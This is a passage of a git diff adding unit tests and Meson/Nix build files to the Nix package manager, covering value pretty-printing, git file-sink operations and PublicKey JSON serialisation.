"\"/foo\""); +} + +TEST_F(ValuePrintingTests, tNull) +{ + Value vNull; + vNull.mkNull(); + test(vNull, "null"); +} + +TEST_F(ValuePrintingTests, tAttrs) +{ + Value vOne; + vOne.mkInt(1); + + Value vTwo; + vTwo.mkInt(2); + + BindingsBuilder builder(state, state.allocBindings(10)); + builder.insert(state.symbols.create("one"), &vOne); + builder.insert(state.symbols.create("two"), &vTwo); + + Value vAttrs; + vAttrs.mkAttrs(builder.finish()); + + test(vAttrs, "{ one = 1; two = 2; }"); +} + +TEST_F(ValuePrintingTests, tList) +{ + Value vOne; + vOne.mkInt(1); + + Value vTwo; + vTwo.mkInt(2); + + auto list = state.buildList(3); + list.elems[0] = &vOne; + list.elems[1] = &vTwo; + Value vList; + vList.mkList(list); + + test(vList, "[ 1 2 «nullptr» ]"); +} + +TEST_F(ValuePrintingTests, vThunk) +{ + Value vThunk; + vThunk.mkThunk(nullptr, nullptr); + + test(vThunk, "«thunk»"); +} + +TEST_F(ValuePrintingTests, vApp) +{ + Value vApp; + vApp.mkApp(nullptr, nullptr); + + test(vApp, "«thunk»"); +} + +TEST_F(ValuePrintingTests, vLambda) +{ + Env env { + .up = nullptr, + .values = { } + }; + PosTable::Origin origin = state.positions.addOrigin(std::monostate(), 1); + auto posIdx = state.positions.add(origin, 0); + auto body = ExprInt(0); + auto formals = Formals {}; + + ExprLambda eLambda(posIdx, createSymbol("a"), &formals, &body); + + Value vLambda; + vLambda.mkLambda(&env, &eLambda); + + test(vLambda, "«lambda @ «none»:1:1»"); + + eLambda.setName(createSymbol("puppy")); + + test(vLambda, "«lambda puppy @ «none»:1:1»"); +} + +TEST_F(ValuePrintingTests, vPrimOp) +{ + Value vPrimOp; + PrimOp primOp{ + .name = "puppy" + }; + vPrimOp.mkPrimOp(&primOp); + + test(vPrimOp, "«primop puppy»"); +} + +TEST_F(ValuePrintingTests, vPrimOpApp) +{ + PrimOp primOp{ + .name = "puppy" + }; + Value vPrimOp; + vPrimOp.mkPrimOp(&primOp); + + Value vPrimOpApp; + vPrimOpApp.mkPrimOpApp(&vPrimOp, nullptr); + + test(vPrimOpApp, "«partially applied primop puppy»"); +} + +TEST_F(ValuePrintingTests, vExternal) +{ + struct MyExternal : ExternalValueBase + { + public: + std::string showType() const override + { + return ""; + } + std::string typeOf() const override + { + return ""; + } + virtual std::ostream & print(std::ostream & str) const override + { + str << "testing-external!"; + return str; + } + } myExternal; + Value vExternal; + vExternal.mkExternal(&myExternal); + + test(vExternal, "testing-external!"); +} + +TEST_F(ValuePrintingTests, vFloat) +{ + Value vFloat; + vFloat.mkFloat(2.0); + + test(vFloat, "2"); +} + +TEST_F(ValuePrintingTests, vBlackhole) +{ + Value vBlackhole; + vBlackhole.mkBlackhole(); + test(vBlackhole, "«potential infinite recursion»"); +} + +TEST_F(ValuePrintingTests, depthAttrs) +{ + Value vOne; + vOne.mkInt(1); + + Value vTwo; + vTwo.mkInt(2); + + BindingsBuilder builderEmpty(state, state.allocBindings(0)); + Value vAttrsEmpty; + vAttrsEmpty.mkAttrs(builderEmpty.finish()); + + BindingsBuilder builder(state, state.allocBindings(10)); + builder.insert(state.symbols.create("one"), &vOne); + builder.insert(state.symbols.create("two"), &vTwo); + builder.insert(state.symbols.create("nested"), &vAttrsEmpty); + + Value vAttrs; + vAttrs.mkAttrs(builder.finish()); + + BindingsBuilder builder2(state, state.allocBindings(10)); + builder2.insert(state.symbols.create("one"), &vOne); + builder2.insert(state.symbols.create("two"), &vTwo); + builder2.insert(state.symbols.create("nested"), &vAttrs); + + Value vNested; + vNested.mkAttrs(builder2.finish()); + + test(vNested, "{ nested = { ... }; one = 1; two = 2; }", PrintOptions { .maxDepth = 1 }); + test(vNested, "{ nested = { nested = { ... }; one = 1; two = 2; }; one = 1; two = 2; }", PrintOptions { .maxDepth = 2 }); + test(vNested, "{ nested = { nested = { }; one = 1; two = 2; }; one = 1; two = 2; }", PrintOptions { .maxDepth = 3 }); + test(vNested, "{ nested = { nested = { }; one = 1; two = 2; }; one = 1; two = 2; }", PrintOptions { .maxDepth = 4 }); +} + +TEST_F(ValuePrintingTests, depthList) +{ + Value vOne; + vOne.mkInt(1); + + Value vTwo; + vTwo.mkInt(2); + + BindingsBuilder builder(state, state.allocBindings(10)); + builder.insert(state.symbols.create("one"), &vOne); + builder.insert(state.symbols.create("two"), &vTwo); + + Value vAttrs; + vAttrs.mkAttrs(builder.finish()); + + BindingsBuilder builder2(state, state.allocBindings(10)); + builder2.insert(state.symbols.create("one"), &vOne); + builder2.insert(state.symbols.create("two"), &vTwo); + builder2.insert(state.symbols.create("nested"), &vAttrs); + + Value vNested; + vNested.mkAttrs(builder2.finish()); + + auto list = state.buildList(3); + list.elems[0] = &vOne; + list.elems[1] = &vTwo; + list.elems[2] = &vNested; + Value vList; + vList.mkList(list); + + test(vList, "[ 1 2 { ... } ]", PrintOptions { .maxDepth = 1 }); + test(vList, "[ 1 2 { nested = { ... }; one = 1; two = 2; } ]", PrintOptions { .maxDepth = 2 }); + test(vList, "[ 1 2 { nested = { one = 1; two = 2; }; one = 1; two = 2; } ]", PrintOptions { .maxDepth = 3 }); + test(vList, "[ 1 2 { nested = { one = 1; two = 2; }; one = 1; two = 2; } ]", PrintOptions { .maxDepth = 4 }); + test(vList, "[ 1 2 { nested = { one = 1; two = 2; }; one = 1; two = 2; } ]", PrintOptions { .maxDepth = 5 }); +} + +struct StringPrintingTests : LibExprTest +{ + template + void test(std::string_view literal, std::string_view expected, unsigned int maxLength, A... args) + { + Value v; + v.mkString(literal); + + std::stringstream out; + printValue(state, out, v, PrintOptions { + .maxStringLength = maxLength + }); + ASSERT_EQ(out.str(), expected); + } +}; + +TEST_F(StringPrintingTests, maxLengthTruncation) +{ + test("abcdefghi", "\"abcdefghi\"", 10); + test("abcdefghij", "\"abcdefghij\"", 10); + test("abcdefghijk", "\"abcdefghij\" «1 byte elided»", 10); + test("abcdefghijkl", "\"abcdefghij\" «2 bytes elided»", 10); + test("abcdefghijklm", "\"abcdefghij\" «3 bytes elided»", 10); +} + +// Check that printing an attrset shows 'important' attributes like `type` +// first, but only reorder the attrs when we have a maxAttrs budget. +TEST_F(ValuePrintingTests, attrsTypeFirst) +{ + Value vType; + vType.mkString("puppy"); + + Value vApple; + vApple.mkString("apple"); + + BindingsBuilder builder(state, state.allocBindings(10)); + builder.insert(state.symbols.create("type"), &vType); + builder.insert(state.symbols.create("apple"), &vApple); + + Value vAttrs; + vAttrs.mkAttrs(builder.finish()); + + test(vAttrs, + "{ type = \"puppy\"; apple = \"apple\"; }", + PrintOptions { + .maxAttrs = 100 + }); + + test(vAttrs, + "{ apple = \"apple\"; type = \"puppy\"; }", + PrintOptions { }); +} + +TEST_F(ValuePrintingTests, ansiColorsInt) +{ + Value v; + v.mkInt(10); + + test(v, + ANSI_CYAN "10" ANSI_NORMAL, + PrintOptions { + .ansiColors = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsFloat) +{ + Value v; + v.mkFloat(1.6); + + test(v, + ANSI_CYAN "1.6" ANSI_NORMAL, + PrintOptions { + .ansiColors = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsBool) +{ + Value v; + v.mkBool(true); + + test(v, + ANSI_CYAN "true" ANSI_NORMAL, + PrintOptions { + .ansiColors = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsString) +{ + Value v; + v.mkString("puppy"); + + test(v, + ANSI_MAGENTA "\"puppy\"" ANSI_NORMAL, + PrintOptions { + .ansiColors = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsStringElided) +{ + Value v; + v.mkString("puppy"); + + test(v, + ANSI_MAGENTA "\"pup\" " ANSI_FAINT "«2 bytes elided»" ANSI_NORMAL, + PrintOptions { + .ansiColors = true, + .maxStringLength = 3 + }); +} + +TEST_F(ValuePrintingTests, ansiColorsPath) +{ + Value v; + v.mkPath(state.rootPath(CanonPath("puppy"))); + + test(v, + ANSI_GREEN "/puppy" ANSI_NORMAL, + PrintOptions { + .ansiColors = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsNull) +{ + Value v; + v.mkNull(); + + test(v, + ANSI_CYAN "null" ANSI_NORMAL, + PrintOptions { + .ansiColors = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsAttrs) +{ + Value vOne; + vOne.mkInt(1); + + Value vTwo; + vTwo.mkInt(2); + + BindingsBuilder builder(state, state.allocBindings(10)); + builder.insert(state.symbols.create("one"), &vOne); + builder.insert(state.symbols.create("two"), &vTwo); + + Value vAttrs; + vAttrs.mkAttrs(builder.finish()); + + test(vAttrs, + "{ one = " ANSI_CYAN "1" ANSI_NORMAL "; two = " ANSI_CYAN "2" ANSI_NORMAL "; }", + PrintOptions { + .ansiColors = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsDerivation) +{ + Value vDerivation; + vDerivation.mkString("derivation"); + + BindingsBuilder builder(state, state.allocBindings(10)); + builder.insert(state.sType, &vDerivation); + + Value vAttrs; + vAttrs.mkAttrs(builder.finish()); + + test(vAttrs, + ANSI_GREEN "«derivation»" ANSI_NORMAL, + PrintOptions { + .ansiColors = true, + .force = true, + .derivationPaths = true + }); + + test(vAttrs, + "{ type = " ANSI_MAGENTA "\"derivation\"" ANSI_NORMAL "; }", + PrintOptions { + .ansiColors = true, + .force = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsError) +{ + Value throw_ = state.getBuiltin("throw"); + Value message; + message.mkString("uh oh!"); + Value vError; + vError.mkApp(&throw_, &message); + + test(vError, + ANSI_RED + "«error: uh oh!»" + ANSI_NORMAL, + PrintOptions { + .ansiColors = true, + .force = true, + }); +} + +TEST_F(ValuePrintingTests, ansiColorsDerivationError) +{ + Value throw_ = state.getBuiltin("throw"); + Value message; + message.mkString("uh oh!"); + Value vError; + vError.mkApp(&throw_, &message); + + Value vDerivation; + vDerivation.mkString("derivation"); + + BindingsBuilder builder(state, state.allocBindings(10)); + builder.insert(state.sType, &vDerivation); + builder.insert(state.sDrvPath, &vError); + + Value vAttrs; + vAttrs.mkAttrs(builder.finish()); + + test(vAttrs, + "{ drvPath = " + ANSI_RED + "«error: uh oh!»" + ANSI_NORMAL + "; type = " + ANSI_MAGENTA + "\"derivation\"" + ANSI_NORMAL + "; }", + PrintOptions { + .ansiColors = true, + .force = true + }); + + test(vAttrs, + ANSI_RED + "«error: uh oh!»" + ANSI_NORMAL, + PrintOptions { + .ansiColors = true, + .force = true, + .derivationPaths = true, + }); +} + +TEST_F(ValuePrintingTests, ansiColorsAssert) +{ + ExprVar eFalse(state.symbols.create("false")); + eFalse.bindVars(state, state.staticBaseEnv); + ExprInt eInt(1); + + ExprAssert expr(noPos, &eFalse, &eInt); + + Value v; + state.mkThunk_(v, &expr); + + test(v, + ANSI_RED "«error: assertion 'false' failed»" ANSI_NORMAL, + PrintOptions { + .ansiColors = true, + .force = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsList) +{ + Value vOne; + vOne.mkInt(1); + + Value vTwo; + vTwo.mkInt(2); + + auto list = state.buildList(3); + list.elems[0] = &vOne; + list.elems[1] = &vTwo; + Value vList; + vList.mkList(list); + + test(vList, + "[ " ANSI_CYAN "1" ANSI_NORMAL " " ANSI_CYAN "2" ANSI_NORMAL " " ANSI_MAGENTA "«nullptr»" ANSI_NORMAL " ]", + PrintOptions { + .ansiColors = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsLambda) +{ + Env env { + .up = nullptr, + .values = { } + }; + PosTable::Origin origin = state.positions.addOrigin(std::monostate(), 1); + auto posIdx = state.positions.add(origin, 0); + auto body = ExprInt(0); + auto formals = Formals {}; + + ExprLambda eLambda(posIdx, createSymbol("a"), &formals, &body); + + Value vLambda; + vLambda.mkLambda(&env, &eLambda); + + test(vLambda, + ANSI_BLUE "«lambda @ «none»:1:1»" ANSI_NORMAL, + PrintOptions { + .ansiColors = true, + .force = true + }); + + eLambda.setName(createSymbol("puppy")); + + test(vLambda, + ANSI_BLUE "«lambda puppy @ «none»:1:1»" ANSI_NORMAL, + PrintOptions { + .ansiColors = true, + .force = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsPrimOp) +{ + PrimOp primOp{ + .name = "puppy" + }; + Value v; + v.mkPrimOp(&primOp); + + test(v, + ANSI_BLUE "«primop puppy»" ANSI_NORMAL, + PrintOptions { + .ansiColors = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsPrimOpApp) +{ + PrimOp primOp{ + .name = "puppy" + }; + Value vPrimOp; + vPrimOp.mkPrimOp(&primOp); + + Value v; + v.mkPrimOpApp(&vPrimOp, nullptr); + + test(v, + ANSI_BLUE "«partially applied primop puppy»" ANSI_NORMAL, + PrintOptions { + .ansiColors = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsThunk) +{ + Value v; + v.mkThunk(nullptr, nullptr); + + test(v, + ANSI_MAGENTA "«thunk»" ANSI_NORMAL, + PrintOptions { + .ansiColors = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsBlackhole) +{ + Value v; + v.mkBlackhole(); + + test(v, + ANSI_RED "«potential infinite recursion»" ANSI_NORMAL, + PrintOptions { + .ansiColors = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsAttrsRepeated) +{ + BindingsBuilder emptyBuilder(state, state.allocBindings(1)); + + Value vEmpty; + vEmpty.mkAttrs(emptyBuilder.finish()); + + BindingsBuilder builder(state, state.allocBindings(10)); + builder.insert(state.symbols.create("a"), &vEmpty); + builder.insert(state.symbols.create("b"), &vEmpty); + + Value vAttrs; + vAttrs.mkAttrs(builder.finish()); + + test(vAttrs, + "{ a = { }; b = " ANSI_MAGENTA "«repeated»" ANSI_NORMAL "; }", + PrintOptions { + .ansiColors = true + }); +} + +TEST_F(ValuePrintingTests, ansiColorsListRepeated) +{ + BindingsBuilder emptyBuilder(state, state.allocBindings(1)); + + Value vEmpty; + vEmpty.mkAttrs(emptyBuilder.finish()); + + auto list = state.buildList(2); + list.elems[0] = &vEmpty; + list.elems[1] = &vEmpty; + Value vList; + vList.mkList(list); + + test(vList, + "[ { } " ANSI_MAGENTA "«repeated»" ANSI_NORMAL " ]", + PrintOptions { + .ansiColors = true + }); +} + +TEST_F(ValuePrintingTests, listRepeated) +{ + BindingsBuilder emptyBuilder(state, state.allocBindings(1)); + + Value vEmpty; + vEmpty.mkAttrs(emptyBuilder.finish()); + + auto list = state.buildList(2); + list.elems[0] = &vEmpty; + list.elems[1] = &vEmpty; + Value vList; + vList.mkList(list); + + test(vList, "[ { } «repeated» ]", PrintOptions { }); + test(vList, + "[ { } { } ]", + PrintOptions { + .trackRepeated = false + }); +} + +TEST_F(ValuePrintingTests, ansiColorsAttrsElided) +{ + Value vOne; + vOne.mkInt(1); + + Value vTwo; + vTwo.mkInt(2); + + BindingsBuilder builder(state, state.allocBindings(10)); + builder.insert(state.symbols.create("one"), &vOne); + builder.insert(state.symbols.create("two"), &vTwo); + + Value vAttrs; + vAttrs.mkAttrs(builder.finish()); + + test(vAttrs, + "{ one = " ANSI_CYAN "1" ANSI_NORMAL "; " ANSI_FAINT "«1 attribute elided»" ANSI_NORMAL " }", + PrintOptions { + .ansiColors = true, + .maxAttrs = 1 + }); + + Value vThree; + vThree.mkInt(3); + + builder.insert(state.symbols.create("three"), &vThree); + vAttrs.mkAttrs(builder.finish()); + + test(vAttrs, + "{ one = " ANSI_CYAN "1" ANSI_NORMAL "; " ANSI_FAINT "«2 attributes elided»" ANSI_NORMAL " }", + PrintOptions { + .ansiColors = true, + .maxAttrs = 1 + }); +} + +TEST_F(ValuePrintingTests, ansiColorsListElided) +{ + BindingsBuilder emptyBuilder(state, state.allocBindings(1)); + + Value vOne; + vOne.mkInt(1); + + Value vTwo; + vTwo.mkInt(2); + + { + auto list = state.buildList(2); + list.elems[0] = &vOne; + list.elems[1] = &vTwo; + Value vList; + vList.mkList(list); + + test(vList, + "[ " ANSI_CYAN "1" ANSI_NORMAL " " ANSI_FAINT "«1 item elided»" ANSI_NORMAL " ]", + PrintOptions { + .ansiColors = true, + .maxListItems = 1 + }); + } + + Value vThree; + vThree.mkInt(3); + + { + auto list = state.buildList(3); + list.elems[0] = &vOne; + list.elems[1] = &vTwo; + list.elems[2] = &vThree; + Value vList; + vList.mkList(list); + + test(vList, + "[ " ANSI_CYAN "1" ANSI_NORMAL " " ANSI_FAINT "«2 items elided»" ANSI_NORMAL " ]", + PrintOptions { + .ansiColors = true, + .maxListItems = 1 + }); + } +} + +} // namespace nix diff --git a/tests/unit/libexpr/value/value.cc b/tests/unit/libexpr/value/value.cc new file mode 100644 index 000000000..5762d5891 --- /dev/null +++ b/tests/unit/libexpr/value/value.cc @@ -0,0 +1,25 @@ +#include "value.hh" + +#include "tests/libstore.hh" + +namespace nix { + +class ValueTest : public LibStoreTest +{}; + +TEST_F(ValueTest, unsetValue) +{ + Value unsetValue; + ASSERT_EQ(false, unsetValue.isValid()); + ASSERT_EQ(nThunk, unsetValue.type(true)); + ASSERT_DEATH(unsetValue.type(), ""); +} + +TEST_F(ValueTest, vInt) +{ + Value vInt; + vInt.mkInt(42); + ASSERT_EQ(true, vInt.isValid()); +} + +} // namespace nix diff --git a/tests/unit/libfetchers/.version b/tests/unit/libfetchers/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libfetchers/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libfetchers/build-utils-meson b/tests/unit/libfetchers/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libfetchers/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/tests/unit/libfetchers/data/public-key/defaultType.json b/tests/unit/libfetchers/data/public-key/defaultType.json new file mode 100644 index 000000000..43f02a420 --- /dev/null +++ b/tests/unit/libfetchers/data/public-key/defaultType.json @@ -0,0 +1,4 @@ +{ + "key": "ABCDE", + "type": "ssh-ed25519" +} diff --git a/tests/unit/libfetchers/data/public-key/noRoundTrip.json b/tests/unit/libfetchers/data/public-key/noRoundTrip.json new file mode 100644 index 000000000..4dcbf9148 --- /dev/null +++ b/tests/unit/libfetchers/data/public-key/noRoundTrip.json @@ -0,0 +1,3 @@ +{ + "key": "ABCDE" +} diff --git a/tests/unit/libfetchers/data/public-key/simple.json b/tests/unit/libfetchers/data/public-key/simple.json new file mode 100644 index 000000000..f83b927ac --- /dev/null +++ b/tests/unit/libfetchers/data/public-key/simple.json @@ -0,0 +1,4 @@ +{ + "key": "ABCDE", + "type": "ssh-rsa" +} diff --git a/tests/unit/libfetchers/git-utils.cc b/tests/unit/libfetchers/git-utils.cc new file mode 100644 index 000000000..de5110cc3 --- /dev/null +++ b/tests/unit/libfetchers/git-utils.cc @@ -0,0 +1,112 @@ +#include "git-utils.hh" +#include "file-system.hh" +#include "gmock/gmock.h" +#include +#include +#include +#include +#include "fs-sink.hh" +#include "serialise.hh" + +namespace nix { + +class GitUtilsTest : public ::testing::Test +{ + // We use a single repository for all tests. + Path tmpDir; + std::unique_ptr delTmpDir; + +public: + void SetUp() override + { + tmpDir = createTempDir(); + delTmpDir = std::make_unique(tmpDir, true); + + // Create the repo with libgit2 + git_libgit2_init(); + git_repository * repo = nullptr; + auto r = git_repository_init(&repo, tmpDir.c_str(), 0); + ASSERT_EQ(r, 0); + git_repository_free(repo); + } + + void TearDown() override + { + // Destroy the AutoDelete, triggering removal + // not AutoDelete::reset(), which would cancel the deletion. + delTmpDir.reset(); + } + + ref openRepo() + { + return GitRepo::openRepo(tmpDir, true, false); + } +}; + +void writeString(CreateRegularFileSink & fileSink, std::string contents, bool executable) +{ + if (executable) + fileSink.isExecutable(); + fileSink.preallocateContents(contents.size()); + fileSink(contents); +} + +TEST_F(GitUtilsTest, sink_basic) +{ + auto repo = openRepo(); + auto sink = repo->getFileSystemObjectSink(); + + // TODO/Question: It seems a little odd that we use the tarball-like convention of requiring a top-level directory + // here + // The sync method does not document this behavior, should probably renamed because it's not very + // general, and I can't imagine that "non-conventional" archives or any other source to be handled by + // this sink. + + sink->createDirectory(CanonPath("foo-1.1")); + + sink->createRegularFile(CanonPath("foo-1.1/hello"), [](CreateRegularFileSink & fileSink) { + writeString(fileSink, "hello world", false); + }); + sink->createRegularFile(CanonPath("foo-1.1/bye"), [](CreateRegularFileSink & fileSink) { + writeString(fileSink, "thanks for all the fish", false); + }); + sink->createSymlink(CanonPath("foo-1.1/bye-link"), "bye"); + sink->createDirectory(CanonPath("foo-1.1/empty")); + sink->createDirectory(CanonPath("foo-1.1/links")); + sink->createHardlink(CanonPath("foo-1.1/links/foo"), CanonPath("foo-1.1/hello")); + + // sink->createHardlink("foo-1.1/links/foo-2", CanonPath("foo-1.1/hello")); + + auto result = repo->dereferenceSingletonDirectory(sink->sync()); + auto accessor = repo->getAccessor(result, false); + auto entries = accessor->readDirectory(CanonPath::root); + ASSERT_EQ(entries.size(), 5); + ASSERT_EQ(accessor->readFile(CanonPath("hello")), "hello world"); + ASSERT_EQ(accessor->readFile(CanonPath("bye")), "thanks for all the fish"); + ASSERT_EQ(accessor->readLink(CanonPath("bye-link")), "bye"); + ASSERT_EQ(accessor->readDirectory(CanonPath("empty")).size(), 0); + ASSERT_EQ(accessor->readFile(CanonPath("links/foo")), "hello world"); +}; + +TEST_F(GitUtilsTest, sink_hardlink) +{ + auto repo = openRepo(); + auto sink = repo->getFileSystemObjectSink(); + + sink->createDirectory(CanonPath("foo-1.1")); + + sink->createRegularFile(CanonPath("foo-1.1/hello"), [](CreateRegularFileSink & fileSink) { + writeString(fileSink, "hello world", false); + }); + + try { + sink->createHardlink(CanonPath("foo-1.1/link"), CanonPath("hello")); + FAIL() << "Expected an exception"; + } catch (const nix::Error & e) { + ASSERT_THAT(e.msg(), testing::HasSubstr("cannot find hard link target")); + ASSERT_THAT(e.msg(), testing::HasSubstr("/hello")); + ASSERT_THAT(e.msg(), testing::HasSubstr("foo-1.1/link")); + } +}; + +} // namespace nix diff --git a/tests/unit/libfetchers/local.mk b/tests/unit/libfetchers/local.mk new file mode 100644 index 000000000..30aa142a5 --- /dev/null +++ b/tests/unit/libfetchers/local.mk @@ -0,0 +1,37 @@ +check: libfetchers-tests_RUN + +programs += libfetchers-tests + +libfetchers-tests_NAME = libnixfetchers-tests + +libfetchers-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libfetchers-tests.xml + +libfetchers-tests_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libfetchers-tests_INSTALL_DIR := $(checkbindir) +else + libfetchers-tests_INSTALL_DIR := +endif + +libfetchers-tests_SOURCES := $(wildcard $(d)/*.cc) + +libfetchers-tests_EXTRA_INCLUDES = \ + -I tests/unit/libstore-support \ + -I tests/unit/libutil-support \ + $(INCLUDE_libfetchers) \ + $(INCLUDE_libstore) \ + $(INCLUDE_libutil) + +libfetchers-tests_CXXFLAGS += $(libfetchers-tests_EXTRA_INCLUDES) + +libfetchers-tests_LIBS = \ + libstore-test-support libutil-test-support \ + libfetchers libstore libutil + +libfetchers-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) $(LIBGIT2_LIBS) + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libfetchers-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif diff --git a/tests/unit/libfetchers/meson.build b/tests/unit/libfetchers/meson.build new file mode 100644 index 000000000..dc9818e27 --- /dev/null +++ b/tests/unit/libfetchers/meson.build @@ -0,0 +1,73 @@ +project('nix-fetchers-tests', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +deps_private_maybe_subproject = [ + dependency('nix-store-test-support'), + dependency('nix-fetchers'), +] +deps_public_maybe_subproject = [ +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +subdir('build-utils-meson/export-all-symbols') + +rapidcheck = dependency('rapidcheck') +deps_private += rapidcheck + +gtest = dependency('gtest', main : true) +deps_private += gtest + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + # '-include', 'config-fetchers.h', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'public-key.cc', +) + +include_dirs = [include_directories('.')] + + +this_exe = executable( + meson.project_name(), + sources, + dependencies : deps_private_subproject + deps_private + deps_other, + include_directories : include_dirs, + # TODO: -lrapidcheck, see ../libutil-support/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + # get main from gtest + install : true, +) + +test( + meson.project_name(), + this_exe, + env : { + '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data', + }, + protocol : 'gtest', +) diff --git a/tests/unit/libfetchers/package.nix b/tests/unit/libfetchers/package.nix new file mode 100644 index 000000000..ad512f562 --- /dev/null +++ b/tests/unit/libfetchers/package.nix @@ -0,0 +1,96 @@ +{ lib +, buildPackages +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-fetchers +, nix-store-test-support + +, rapidcheck +, gtest +, runCommand + +# Configuration Options + +, version +, resolvePath +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-fetchers-tests"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../../build-utils-meson + ./build-utils-meson + ../../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + nix-fetchers + nix-store-test-support + rapidcheck + gtest + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + passthru = { + tests = { + run = runCommand "${finalAttrs.pname}-run" { + meta.broken = !stdenv.hostPlatform.emulatorAvailable buildPackages; + } (lib.optionalString stdenv.hostPlatform.isWindows '' + export HOME="$PWD/home-dir" + mkdir -p "$HOME" + '' + '' + export _NIX_TEST_UNIT_DATA=${resolvePath ./data} + ${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe finalAttrs.finalPackage} + touch $out + ''); + }; + }; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + mainProgram = finalAttrs.pname + stdenv.hostPlatform.extensions.executable; + }; + +}) diff --git a/tests/unit/libfetchers/public-key.cc b/tests/unit/libfetchers/public-key.cc new file mode 100644 index 000000000..8a639da9f --- /dev/null +++ b/tests/unit/libfetchers/public-key.cc @@ -0,0 +1,54 @@ +#include +#include "fetchers.hh" +#include "json-utils.hh" +#include +#include "tests/characterization.hh" + +namespace nix { + +using nlohmann::json; + +class PublicKeyTest : public CharacterizationTest +{ + Path unitTestData = getUnitTestData() + "/public-key"; + +public: + Path goldenMaster(std::string_view testStem) const override { + return unitTestData + "/" + testStem; + } +}; + +#define TEST_JSON(FIXTURE, NAME, VAL) \ + TEST_F(FIXTURE, PublicKey_ ## NAME ## _from_json) { \ + readTest(#NAME ".json", [&](const auto & encoded_) { \ + fetchers::PublicKey expected { VAL }; \ + fetchers::PublicKey got = nlohmann::json::parse(encoded_); \ + ASSERT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(FIXTURE, PublicKey_ ## NAME ## _to_json) { \ + writeTest(#NAME ".json", [&]() -> json { \ + return nlohmann::json(fetchers::PublicKey { VAL }); \ + }, [](const auto & file) { \ + return json::parse(readFile(file)); \ + }, [](const auto & file, const auto & got) { \ + return writeFile(file, got.dump(2) + "\n"); \ + }); \ + } + +TEST_JSON(PublicKeyTest, simple, (fetchers::PublicKey { .type = "ssh-rsa", .key = "ABCDE" })) + +TEST_JSON(PublicKeyTest, defaultType, fetchers::PublicKey { .key = "ABCDE" }) + +#undef TEST_JSON + +TEST_F(PublicKeyTest, PublicKey_noRoundTrip_from_json) { + readTest("noRoundTrip.json", [&](const auto & encoded_) { + fetchers::PublicKey expected = { .type = "ssh-ed25519", .key = "ABCDE" }; + fetchers::PublicKey got = nlohmann::json::parse(encoded_); + ASSERT_EQ(got, expected); + }); +} + +} diff --git a/tests/unit/libflake/.version b/tests/unit/libflake/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libflake/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libflake/build-utils-meson b/tests/unit/libflake/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libflake/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/tests/unit/libflake/data/.gitkeep b/tests/unit/libflake/data/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/tests/unit/libflake/flakeref.cc b/tests/unit/libflake/flakeref.cc new file mode 100644 index 000000000..d704a26d3 --- /dev/null +++ b/tests/unit/libflake/flakeref.cc @@ -0,0 +1,24 @@ +#include + 